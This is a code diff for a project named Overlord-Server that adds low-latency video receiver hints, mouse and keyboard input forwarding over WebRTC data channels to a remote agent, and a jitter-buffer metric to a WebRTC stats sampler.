@@ -104,6 +127,7 @@ export class P2PClient { async onAnswer(sdp) { if (!this.pc || !sdp) return; await this.pc.setRemoteDescription({ type: "answer", sdp }); + this.applyLowLatencyReceiverHints(); // Drain any ICE candidates that arrived before the answer. const drain = this.pendingRemoteCandidates; this.pendingRemoteCandidates = []; @@ -112,6 +136,35 @@ export class P2PClient { } } + applyLowLatencyReceiverHints() { + if (!this.pc) return; + for (const receiver of this.pc.getReceivers()) { + if (receiver.track?.kind !== "video") continue; + try { + if ("playoutDelayHint" in receiver) receiver.playoutDelayHint = 0; + if ("jitterBufferTarget" in receiver) receiver.jitterBufferTarget = 0; + } catch (error) { + console.debug("p2p: browser rejected low-latency receiver hint", error); + } + } + } + + sendInput(message) { + if (!this.enableInput || !this.inputReady || !message || typeof message.type !== "string") return false; + const motion = message.type === "mouse_move"; + const channel = motion ? this.motionInput : this.reliableInput; + if (!channel || channel.readyState !== "open") return false; + // Never build a motion backlog. Reliable key/button events are tiny and + // must stay on one ordered path so a key-up cannot overtake a key-down. + if (motion && channel.bufferedAmount > 64 * 1024) return true; + try { + channel.send(JSON.stringify(message)); + return true; + } catch { + return false; + } + } + /** Add a remote ICE candidate from the agent. */ async onRemoteCandidate(msg) { if (!this.pc) return; @@ -135,6 +188,10 @@ export class P2PClient { this.statsSampler?.stop(); this.statsSampler = null; this.pendingRemoteCandidates = []; + this.reliableInput = null; + this.motionInput = null; + this.inputReady = false; + this.onInputState(false); if (pc) { try { pc.close(); } catch {} } diff --git a/Overlord-Server/public/assets/webrtc-stats.js b/Overlord-Server/public/assets/webrtc-stats.js index 80ef6ef..9d05c59 100644 --- a/Overlord-Server/public/assets/webrtc-stats.js +++ b/Overlord-Server/public/assets/webrtc-stats.js @@ -76,6 +76,7 @@ export class WebRTCStatsSampler { let processingDelayMs = null; let framesDroppedDelta = null; let intervalLossPercent = null; + let jitterBufferMs = averageJitterBufferMs(item); if (previous && timestamp > previous.timestamp && Number(item.bytesReceived) >= previous.bytesReceived) { bitrateMbps = ((Number(item.bytesReceived) - previous.bytesReceived) * 8) / ((timestamp - previous.timestamp) * 1000); @@ -88,6 +89,11 @@ export class WebRTCStatsSampler { } const droppedDelta = (Number(item.framesDropped) || 0) - previous.framesDropped; if (droppedDelta >= 0) framesDroppedDelta = droppedDelta; + const jitterDelayDelta = Number(item.jitterBufferDelay) - previous.jitterBufferDelay; + const jitterEmittedDelta = Number(item.jitterBufferEmittedCount) - previous.jitterBufferEmittedCount; + if (jitterDelayDelta >= 0 && jitterEmittedDelta > 0) { + jitterBufferMs = (jitterDelayDelta * 1000) / jitterEmittedDelta; + } const receivedDelta = (Number(item.packetsReceived) || 0) - previous.packetsReceived; const lostDelta = (Number(item.packetsLost) || 0) - previous.packetsLost; const packetDelta = Math.max(0, receivedDelta) + Math.max(0, lostDelta); @@ -102,6 +108,8 @@ export class WebRTCStatsSampler { framesDropped: Number(item.framesDropped) || 0, packetsReceived: Number(item.packetsReceived) || 0, packetsLost: Number(item.packetsLost) || 0, + jitterBufferDelay: Number(item.jitterBufferDelay) || 0, + jitterBufferEmittedCount: Number(item.jitterBufferEmittedCount) || 0, }); const packetsReceived = Number(item.packetsReceived) || 0; const packetsLost = Math.max(0, Number(item.packetsLost) || 0); @@ -111,7 +119,7 @@ export class WebRTCStatsSampler { packetsLost, lossPercent: intervalLossPercent ?? (packetTotal > 0 ? (packetsLost * 100) / packetTotal : 0), jitterMs: Number.isFinite(item.jitter) ? item.jitter * 1000 : null, - jitterBufferMs: averageJitterBufferMs(item), + jitterBufferMs, decodeMs, processingDelayMs, framesDropped: Number.isFinite(item.framesDropped) ? item.framesDropped : null,